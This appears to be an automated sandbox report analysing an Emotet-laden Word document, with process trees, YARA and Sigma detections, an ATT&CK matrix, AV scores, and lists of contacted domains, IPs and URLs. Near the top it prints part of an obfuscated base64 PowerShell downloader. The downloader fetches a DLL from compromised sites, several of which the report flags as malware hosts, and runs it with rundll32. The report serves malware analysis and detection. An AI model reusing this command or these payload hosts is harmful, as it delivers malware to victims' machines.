B3ACcAKQApACsAKAAnAHcAdwAuACcAKwAnAGkAJwArACcAcwBhAHQAZQBjAGgAbgBvACcAKQArACcAbAAnACsAKAAnAG8AJwArACcAZwB5AC4AJwApACsAKA
AoACcAYwBvAG0ASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAHQAJwArACcAcgBhAGkAbgBpAG4AZwAnACsAJwBKACkAKAAnACsAJwAzACcAKQ
ApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKABiAEoAJwArACcAKQAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAnACkAKQArACgAKAAnACgAQA
BoAHQAJwArACcAdAAnACkAKQArACcAcAAnACsAJwA6ACcAKwAoACgAJwBKACkAJwApACkAKwAnACgAJwArACcAMwAnACsAKAAoACcAcwAyACcAKwAnACkAKA
AnACkAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzACcAKwAnADIAJwApACkAKwAnACkAJwArACgAKAAnACgAaABvACcAKwAnAHQAZQAnACkAKQ
ArACgAJwBsACcAKwAnAHMAaABpAHYAJwApACsAKAAnAGEAJwArACcAbgBzAGgAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBKACkAKAAnACkAKQArACcAMw
BzACcAKwAoACgAJwAyACkAKABVAHMAJwArACcAZQByAEYAJwArACcAaQAnACkAKQArACgAJwBsACcAKwAnAGUAcwAnACkAKwAnAEoAJwArACgAKAAnACkAKA
AnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACgAJwArACcAOABKACkAJwArACcAKAAzAHMAMgApACcAKQApACsAKAAoACcAKAAnACsAJw
BAAGgAJwApACkAKwAoACgAJwB0AHQAcAA6AEoAKQAoADMAcwAyACcAKwAnACkAJwArACcAKAAnACsAJwBKACkAJwArACcAKAAzAHMAMgApACcAKwAnACgAbw
B3ACcAKwAnAG4AaQB0AGMAbwAnACkAKQArACgAJwBuAHMAJwArACcAaQAnACsAJwBnAG4AbQBlAG4AdAAuAGMAbwBtACcAKQArACgAKAAnAEoAKQAoACcAKw
AnADMAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoACcAKQApACsAKAAnAGYAaQAnACsAJwBsACcAKwAnAGUAcwBKACcAKQArACgAKAAnACkAJwArACcAKA
AzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJwBiAEoAJwApACkAKwAnACkAJwArACgAKAAnACgAMwBzADIAKQAnACsAJwAoACcAKQApACsAKA
AnAEAAaAB0AHQAJwArACcAcABzACcAKQArACgAKAAnADoAJwArACcASgAnACsAJwApACgAMwBzADIAKQAoAEoAKQAoADMAJwArACcAcwAyACkAJwApACkAKw
AoACgAJwAoAGIAJwArACcAMgAnACkAKQArACgAJwBiACcAKwAnAGMAbwBtAC4AYwAnACsAJwBvACcAKwAnAG0ALgBiACcAKQArACcAcgAnACsAKAAoACcASg
AnACsAJwApACgAMwBzADIAJwApACkAKwAoACgAJwApACgAJwArACcAcwBpACcAKQApACsAKAAoACcAdABlAEoAKQAnACsAJwAoADMAJwArACcAcwAnACsAJw
AyACkAKAAwAEgASgAnACkAKQArACgAKAAnACkAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABAACcAKwAnAGgAJwApACkAKwAoACgAJwB0AHQAcAA6AEoAKQ
AnACsAJwAoACcAKwAnADMAcwAyACcAKQApACsAKAAoACcAKQAoACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzACcAKwAnADIAJwApACkAKwAoACgAJw
ApACcAKwAnACgAdAAnACsAJwByAGEAbgBzACcAKwAnAGYAZQAnACkAKQArACgAJwByAHMAdQAnACsAJwB2AGEAJwApACsAKAAoACcAbgAnACsAJwAuAGMAbw
BtACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzACcAKwAnADIAKQAoAHcAcAAtAGEAJwArACcAZAAnACsAJwBtACcAKQApACsAJwBpACcAKwAoACgAJw
BuACcAKwAnAEoAKQAoADMAcwAyACcAKwAnACkAKABPACcAKwAnAFYAbAAnACkAKQArACcASgAnACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzADIAJw
ArACcAKQAoACcAKQApACsAJwBAACcAKwAnAGgAdAAnACsAKAAnAHQAJwArACcAcABzADoAJwApACsAKAAoACcASgAnACsAJwApACcAKwAnACgAMwBzADIAKQ
AoAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwBzACcAKQApACsAJwAyACcAKwAoACgAJwApACcAKwAnACgAcABoAHkAcwAnACkAKQArACcAaQAnACsAKA
AoACcAbwAtACcAKwAnAHMAdgBkAGgALgAnACsAJwBjAGgASgApACgAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJw
B3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAnACsAJwAzACcAKwAnAHMAJwArACcAMgApACgAawAnACsAJwBLAEoAKQAoADMAJwApACkAKw
AnAHMAJwArACgAKAAnADIAKQAnACkAKQArACcAKAAnACkAKQAuACIAcgBlAFAAbABgAEEAYwBFACIAKAAoACgAJwBKACcAKwAoACgAJwApACgAJwArACcAMw
AnACkAKQArACgAKAAnAHMAMgApACcAKwAnACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQ
BbADAAXQApAC4AIgBTAGAAUABMAEkAVAAiACgAJABUAGcAMwB5AHAAdgAwACAAKwAgACQASAAyAHEANgBxAHAAegAgACsAIAAkAEEAcABqADAAdwBtAG8AKQ
A7ACQAQwBxAG8AdwBiADQAZAA9ACgAKAAnAFgANgAnACsAJwB1AGgAJwApACsAKAAnADAANQAnACsAJwB5ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJA

BIAHcAcQBmAGUAbwBuACAAaQBuACAAJABOAGsAcQBfAGcAMABxACAAfAAgAFMATwBgAFIAYABUAC0AbwBiAGAASgBFAEMAdAAgAHsARwBlAGAAVAAtAFIAYQ
BgAE4ARABvAG0AfQApAHsAdAByAHkAewAkAFYAMABfAHIAaQAwAG4ALgAiAGQAbwB3AGAATgBsAE8AYABBAEQAYABGAGkATABlACIAKAAkAEgAdwBxAGYAZQ
BvAG4ALAAgACQAWgByAHcAagBoADkAawApADsAJABDAHcAawAxAG8AOABvAD0AKAAoACcAQgAnACsAJwA2AHgAMgBvACcAKQArACcAdwB0ACcAKQA7AEkAZg
AgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABaAHIAdwBqAGgAOQBrACkALgAiAEwAZQBuAGcAYABUAGgAIgAgAC0AZw
BlACAANAA0ADAANwA3ACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuACcAKwAnAGQAbABsADMAMgAnACkAIAAkAFoAcgB3AGoAaAA5AGsALAAnACMAMQAnAC4AIg
BUAGAAbwBzAHQAYABSAGkAbgBHACIAKAApADsAJABDAGMAcwBrAGkAeAAwAD0AKAAnAFkAJwArACcAMwB2ACcAKwAoACcAYQAyAHQAJwArACcAZwAnACkAKQ
A7AGIAcgBlAGEAawA7ACQASQA3AGEAYgB6ADYAZwA9ACgAJwBMACcAKwAoACcAdQBoACcAKwAnAGYAbgBxAGsAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQ
AkAFcAXwA2ADIAZgB5ADYAPQAoACcASQAnACsAJwB4AHEAJwArACgAJwBmACcAKwAnADQAOQBsACcAKQApAA== MD5: 95000560239032BC68B4C2FDFCDEF913)

rundll32.exe (PID: 6760 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll,#1 MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6728 cmdline: 'C:\Windows\system32\rundll32.exe' C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll,#1 MD5: 

D7CA562B0DB4F4DD0F03A89A1FDAD63D)
rundll32.exe (PID: 6960 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ezfa\bvb.lli',RunDLL MD5: Copyright null 2021 Page 7 of 81



Malware Configuration

Sigma Overview

System Summary:

Sigma detected: Suspicious Encoded PowerShell Command Line

Signature Overview

• AV Detection

• Cryptography

rundll32.exe (PID: 6960 cmdline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Ezfa\bvb.lli',RunDLL MD5: 

D7CA562B0DB4F4DD0F03A89A1FDAD63D)
svchost.exe (PID: 7136 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5616 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

No configs have been found

Source Rule Description Author Strings

00000008.00000002.922521031.0000000000F4
1000.00000020.00000001.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

00000004.00000002.689082292.00000271130C
0000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x2ba:$s1: POwersheLL

00000004.00000003.685190093.000002712B8A
4000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x5b0:$s1: POwersheLL
0x45c0:$s1: POwersheLL

00000008.00000002.922478242.0000000000F2
0000.00000040.00000001.sdmp

JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

00000004.00000002.700514213.000002712B63
0000.00000004.00000001.sdmp

PowerShell_Case_Anomal
y

Detects 
obfuscated 
PowerShell 
hacktools

Florian Roth 0x191c:$s1: POwersheLL

Click to see the 6 entries

Source Rule Description Author Strings

8.2.rundll32.exe.f20000.1.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

8.2.rundll32.exe.f40000.2.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

6.2.rundll32.exe.1090000.2.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

6.2.rundll32.exe.1070000.1.raw.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

6.2.rundll32.exe.1070000.1.unpack JoeSecurity_Emotet Yara detected 
Emotet

Joe Security

Click to see the 1 entries

Yara Overview

Memory Dumps

Unpacked PEs
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• Compliance

• Spreading

• Software Vulnerabilities

• Networking

• E-Banking Fraud

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Machine Learning detection for dropped file

Compliance:

Uses new MSVCR Dlls

Uses secure TLS version for HTTPS connections

Binary contains paths to debug symbols

E-Banking Fraud:

Yara detected Emotet

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Powershell drops PE file

Very long command line found

Data Obfuscation:

Document contains an embedded VBA with many GOTO operations indicating source code obfuscation

PowerShell case anomaly found

Suspicious powershell command line found

Persistence and Installation Behavior:

Creates processes via WMI

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)
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HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Encrypted powershell cmdline option found

Stealing of Sensitive Information:

Yara detected Emotet

Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Valid
Accounts

Windows
Management
Instrumentation 1 1

Path
Interception

Process
Injection 1 1 2

Disable or Modify
Tools 1

OS
Credential
Dumping

System Time
Discovery 1

Remote
Services

Archive
Collected
Data 1

Exfiltration Over Other
Network Medium

Ingress Tool
Transfer

Default
Accounts

Scripting 1 2 Boot or
Logon
Initialization
Scripts

Boot or Logon
Initialization
Scripts

Deobfuscate/Decode
Files or
Information 2 1

LSASS
Memory

File and Directory
Discovery 2

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration Over
Bluetooth

Encrypted
Channel

Domain
Accounts

Native API 2 Logon Script
(Windows)

Logon Script
(Windows)

Scripting 1 2 Security
Account
Manager

System Information
Discovery 2 6

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated Exfiltration Non-Standard
Port

Local
Accounts

Exploitation for Client
Execution 3

Logon Script
(Mac)

Logon Script
(Mac)

Obfuscated Files or
Information 2

NTDS Query Registry 1 Distributed
Component
Object Model

Input
Capture

Scheduled Transfer Non-
Application
Layer
Protocol

Cloud
Accounts

Command and
Scripting
Interpreter 1 1

Network
Logon Script

Network Logon
Script

Software Packing 1 LSA
Secrets

Security Software
Discovery 1 3 1

SSH Keylogging Data Transfer Size
Limits

Application
Layer
Protocol

Replication
Through
Removable
Media

PowerShell 4 Rc.common Rc.common Masquerading 2 1 Cached
Domain
Credentials

Virtualization/Sandbox
Evasion 3

VNC GUI Input
Capture

Exfiltration Over C2
Channel

Multiband
Communication

External
Remote
Services

Scheduled Task Startup
Items

Startup Items Virtualization/Sandbox
Evasion 3

DCSync Process Discovery 3 Windows
Remote
Management

Web Portal
Capture

Exfiltration Over
Alternative Protocol

Commonly
Used Port

Drive-by
Compromise

Command and
Scripting Interpreter

Scheduled
Task/Job

Scheduled
Task/Job

Process
Injection 1 1 2

Proc
Filesystem

Application Window
Discovery 1

Shared
Webroot

Credential
API
Hooking

Exfiltration Over
Symmetric Encrypted
Non-C2 Protocol

Application
Layer Protocol

Exploit
Public-
Facing
Application

PowerShell At (Linux) At (Linux) Hidden Files and
Directories 1

/etc/passwd
and
/etc/shadow

Remote System
Discovery 1

Software
Deployment
Tools

Data
Staged

Exfiltration Over
Asymmetric Encrypted
Non-C2 Protocol

Web Protocols

Supply
Chain
Compromise

AppleScript At
(Windows)

At (Windows) Rundll32 1 Network
Sniffing

Process Discovery Taint Shared
Content

Local Data
Staging

Exfiltration Over
Unencrypted/Obfuscated
Non-C2 Protocol

File Transfer
Protocols

Behavior Graph
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Behavior Graph
ID: 347028

Sample: v22Pc0qA.doc.doc

Startdate: 01/02/2021

Architecture: WINDOWS

Score: 100

Multi AV Scanner detection
for domain / URL

Antivirus detection
for URL or domain

Multi AV Scanner detection
for dropped file 11 other signatures

cmd.exe

1

        started       

WINWORD.EXE

193 49

        started       

svchost.exe

1

        started       

2 other processes

Suspicious powershell
command line found

Very long command line
found

Encrypted powershell
cmdline option found

PowerShell case anomaly
found

powershell.exe

14 22

        started       

conhost.exe

        started       

msg.exe

1

        started       

isatechnology.com

35.208.182.43, 443, 49744

GOOGLE-2US

United States

www.isatechnology.com 2 other IPs or domains

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll, PE32

dropped

Powershell drops PE
file

rundll32.exe

        started       

rundll32.exe

2

        started       

Hides that the sample
has been downloaded

from the Internet (zone.identifier)

rundll32.exe

12

        started       

50.116.111.59, 49773, 8080

UNIFIEDLAYER-AS-1US

United States

173.249.20.233, 443, 49775

CONTABODE

Germany

2 other IPs or domains

System process connects
to network (likely due
to code injection or

exploit)

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots
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Source Detection Scanner Label Link

v22Pc0qA.doc.doc 73% Virustotal Browse

v22Pc0qA.doc.doc 47% Metadefender Browse

v22Pc0qA.doc.doc 86% ReversingLabs Script-
Macro.Trojan.Valyria

Source Detection Scanner Label Link

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll 100% Joe Sandbox ML

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll 56% Metadefender Browse

C:\Users\user\F2nefq6\Prs2ndh\Chpieog.dll 96% ReversingLabs Win32.Trojan.Emotet

Source Detection Scanner Label Link Download

6.2.rundll32.exe.1090000.2.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

8.2.rundll32.exe.f40000.2.unpack 100% Avira TR/Crypt.XPACK.Gen Download File

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains
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Source Detection Scanner Label Link

isatechnology.com 7% Virustotal Browse

Source Detection Scanner Label Link

isatechnology.com 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.3 0% Avira URL Cloud safe

https://physio-svdh.ch/angebot/physiotherapie/ 0% Avira URL Cloud safe

https://www.isatechnology.com/training/b/ 100% Avira URL Cloud malware

https://cdn.entity. 0% URL Reputation safe

https://cdn.entity. 0% URL Reputation safe

https://cdn.entity. 0% URL Reputation safe

https://physio-svdh.ch/wp-content/themes/econature/gutenberg/css/frontend-style.css?ver=1.0.0 0% Avira URL Cloud safe

https://rpsticket.partnerservices.getmicrosoftkey.com 0% URL Reputation safe

https://rpsticket.partnerservices.getmicrosoftkey.com 0% URL Reputation safe

https://rpsticket.partnerservices.getmicrosoftkey.com 0% URL Reputation safe

transfersuvan.com/wp-admin/OVl/ 100% Avira URL Cloud malware

https://physio-svdh.ch/wp-content/themes/econature/js/jquer0 0% Avira URL Cloud safe

https://api.aadrm.com/ 0% URL Reputation safe

https://api.aadrm.com/ 0% URL Reputation safe

https://api.aadrm.com/ 0% URL Reputation safe

https://physio-svdh.ch/angebot/hausbesuche/ 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/themes/econature/js/scrollspy.js?ver=1.0.0 0% Avira URL Cloud safe

cps.root-x1.letsencrypt. 0% Avira URL Cloud safe

https://physio-svdh.ch/kontakt/ 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/themes/econature/css/animate.css?ver=1.0.0 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-includes/js/wp-embed.min.js?ver=5.5.3 0% Avira URL Cloud safe

https://res.getmicrosoftkey.com/api/redemptionevents 0% URL Reputation safe

https://res.getmicrosoftkey.com/api/redemptionevents 0% URL Reputation safe

https://res.getmicrosoftkey.com/api/redemptionevents 0% URL Reputation safe

https://officeci.azurewebsites.net/api/ 0% Avira URL Cloud safe

https://store.office.cn/addinstemplate 0% URL Reputation safe

https://store.office.cn/addinstemplate 0% URL Reputation safe

https://store.office.cn/addinstemplate 0% URL Reputation safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

pesterbdd.com/images/Pester.png 0% URL Reputation safe

cps.letsencrypt.org0 0% URL Reputation safe

cps.letsencrypt.org0 0% URL Reputation safe

cps.letsencrypt.org0 0% URL Reputation safe

https://wus2-000.pagecontentsync. 0% URL Reputation safe

https://wus2-000.pagecontentsync. 0% URL Reputation safe

https://wus2-000.pagecontentsync. 0% URL Reputation safe

https://physio-svdh.ch/wp-content/plugins/buttonizer-multifunctional-button/assets/frontend.css?
v=7c

0% Avira URL Cloud safe

https://contoso.com/Icon 0% URL Reputation safe

https://contoso.com/Icon 0% URL Reputation safe

https://contoso.com/Icon 0% URL Reputation safe

https://physio-svdh.ch/ 0% Avira URL Cloud safe

https://www.odwebp.svc.ms 0% URL Reputation safe

https://www.odwebp.svc.ms 0% URL Reputation safe

https://www.odwebp.svc.ms 0% URL Reputation safe

https://physio-svdh.ch/wp-content/themes/econature/css/fontello.css?ver=1.0.0 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/themes/econature/css/retina.css?ver=1.0.0 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/uploads/cmsms_styles/econature.css?ver=1.0.0 0% Avira URL Cloud safe

https://physio-svdh.ch 0% Avira URL Cloud safe

https://physio-svdh.ch/ueber-uns/about-us/ 0% Avira URL Cloud safe

arquivopop.com.br/index_htm_files/Kxh/ 100% Avira URL Cloud malware

https://physio-svdh.ch/wp-content/themes/econature/css/ie.css?ver=1.0.0 0% Avira URL Cloud safe

https://physio-svdh.ch/offene-stellen/ 0% Avira URL Cloud safe

https://physio-svdh.ch/angebot/training-fuer-senioren/ 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp 0% Avira URL Cloud safe

https://physio-svdh.ch/angebot/med-trainingstherapie-mtt/ 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-includes/wlwmanifest.xml 0% Avira URL Cloud safe

URLs
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https://www.virustotal.com/gui/url/d0c239bc2e6f2d9b607c9c8730c1f37d591cb0f02f9a6fe8f42d75dce539ea09/detection/u-d0c239bc2e6f2d9b607c9c8730c1f37d591cb0f02f9a6fe8f42d75dce539ea09-1611417995


https://cairocad.com/cgi-bin/1PBB/ 100% Avira URL Cloud malware

https://www.isatechnology.comArAC 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/plugins/LayerSlider/static/layerslider/js/layerslider.kreaturamedi 0% Avira URL Cloud safe

https://physio-svdh.ch/xmlrpc.php 0% Avira URL Cloud safe

ownitconsignment.com/files/b/ 100% Avira URL Cloud malware

https://physio-svdh.ch/wp-content/plugins/LayerSlider/static/layerslider/js/greensock.js?ver=1.19.0 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js? 0% Avira URL Cloud safe

https://physio-svdh.ch/wp-content/themes/econature/css/style.css?ver=1.0.0 0% Avira URL Cloud safe

https://physio-svdh.ch/comments/feed/ 0% Avira URL Cloud safe

https://skyapi.live.net/Activity/ 0% URL Reputation safe

https://skyapi.live.net/Activity/ 0% URL Reputation safe

https://skyapi.live.net/Activity/ 0% URL Reputation safe

https://physio-svdh.ch/wp-content/plugins/buttonizer-multifunctional-button/assets/frontend.min.js?v 0% Avira URL Cloud safe

https://api.cortana.ai 0% URL Reputation safe

https://api.cortana.ai 0% URL Reputation safe

https://api.cortana.ai 0% URL Reputation safe

https://physio-svdh.ch/wp-content/themes/econature/css/ilightbox-skins/dark-skin.css?ver=2.2.0 0% Avira URL Cloud safe

https://staging.cortana.ai 0% URL Reputation safe

https://staging.cortana.ai 0% URL Reputation safe

https://staging.cortana.ai 0% URL Reputation safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

isatechnology.com 35.208.182.43 true true 7%, Virustotal, Browse unknown

physio-svdh.ch 194.209.195.106 true false unknown

www.isatechnology.com unknown unknown true unknown

Name Source Malicious Antivirus Detection Reputation

https://shell.suite.office.com:1443 DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://autodiscover-s.outlook.com/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

isatechnology.com powershell.exe, 00000004.00000
002.697418447.00000271148FC000
.00000004.00000001.sdmp

true Avira URL Cloud: safe unknown

https://corp.roblox.com/contact/ svchost.exe, 0000000F.00000003
.749469958.000002796435B000.00
000004.00000001.sdmp, svchost.exe, 
0000000F.00000003.7493740
70.00000279643ED000.00000004.0
0000001.sdmp

false high

https://physio-svdh.ch/wp-content/plugins/contact-form-
7/includes/js/scripts.js?ver=5.3

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://insertmedia.bing.office.net/images/officeonlinecontent/b
rowse?cp=Flickr

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://physio-svdh.ch/angebot/physiotherapie/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://www.isatechnology.com/training/b/ powershell.exe, 00000004.00000
002.694935802.00000271141E5000
.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

https://cdn.entity. DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://physio-svdh.ch/wp-
content/themes/econature/gutenberg/css/frontend-style.css?
ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

Domains and IPs

Contacted Domains

URLs from Memory and Binaries
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https://rpsticket.partnerservices.getmicrosoftkey.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://lookup.onenote.com/lookup/geolocation/v1 DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

transfersuvan.com/wp-admin/OVl/ powershell.exe, 00000004.00000
002.694935802.00000271141E5000
.00000004.00000001.sdmp

true Avira URL Cloud: malware unknown

https://physio-svdh.ch/wp-
content/themes/econature/js/jquer0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://syncservice.protection.outlook.com/PolicySync/PolicyS
ync.svc/SyncFile

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://na01.oscs.protection.outlook.com/api/SafeLinksApi/Get
Policy

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://api.aadrm.com/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://physio-svdh.ch/angebot/hausbesuche/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-
content/themes/econature/js/scrollspy.js?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

cps.root-x1.letsencrypt. powershell.exe, 00000004.00000
003.687729373.000002712B84E000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://use.fontawesome.com/releases/v5.8.2/css/all.css?
ver=5.5.3

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false high

https://dataservice.protection.outlook.com/PsorWebService/v1
/ClientSyncFile/MipPolicies

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://api.microsoftstream.com/api/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://insertmedia.bing.office.net/images/hosted?
host=office&adlt=strict&hostType=Immersive

DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://cr.office.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://nuget.org/nuget.exe powershell.exe, 00000004.00000
002.699571574.0000027123779000
.00000004.00000001.sdmp

false high

https://physio-svdh.ch/kontakt/ powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-
content/themes/econature/css/animate.css?ver=1.0.0

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://physio-svdh.ch/wp-includes/js/wp-embed.min.js?
ver=5.5.3

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

schemas.xmlsoap.org/ws/2005/05/identity/claims/name powershell.exe, 00000004.00000
002.689707383.00000271135D1000
.00000004.00000001.sdmp

false high

https://res.getmicrosoftkey.com/api/redemptionevents DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://tasks.office.com DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false high

https://officeci.azurewebsites.net/api/ DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false Avira URL Cloud: safe unknown

https://www.hulu.com/do-not-sell-my-info svchost.exe, 0000000F.00000003
.740940111.00000279643C9000.00
000004.00000001.sdmp

false high

https://store.office.cn/addinstemplate DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

pesterbdd.com/images/Pester.png powershell.exe, 00000004.00000
002.690538281.00000271137E5000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

cps.letsencrypt.org0 powershell.exe, 00000004.00000
003.687729373.000002712B84E000
.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://wus2-000.pagecontentsync. DC97C0E2-E492-4CE8-9253-DB063F
2B7EA0.0.dr

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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www.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000004.00000
002.690538281.00000271137E5000
.00000004.00000001.sdmp

false high

https://physio-svdh.ch/wp-content/plugins/buttonizer-
multifunctional-button/assets/frontend.css?v=7c

powershell.exe, 00000004.00000
002.697393668.00000271148BF000
.00000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://www.roblox.com/develop svchost.exe, 0000000F.00000003
.749469958.000002796435B000.00
000004.00000001.sdmp, svchost.exe, 
0000000F.00000003.7493740
70.00000279643ED000.00000004.0
0000001.sdmp

false high

https://contoso.com/Icon powershell.exe, 00000004.00000
002.699571574.0000027123779000
.00000004.00000001.sdmp

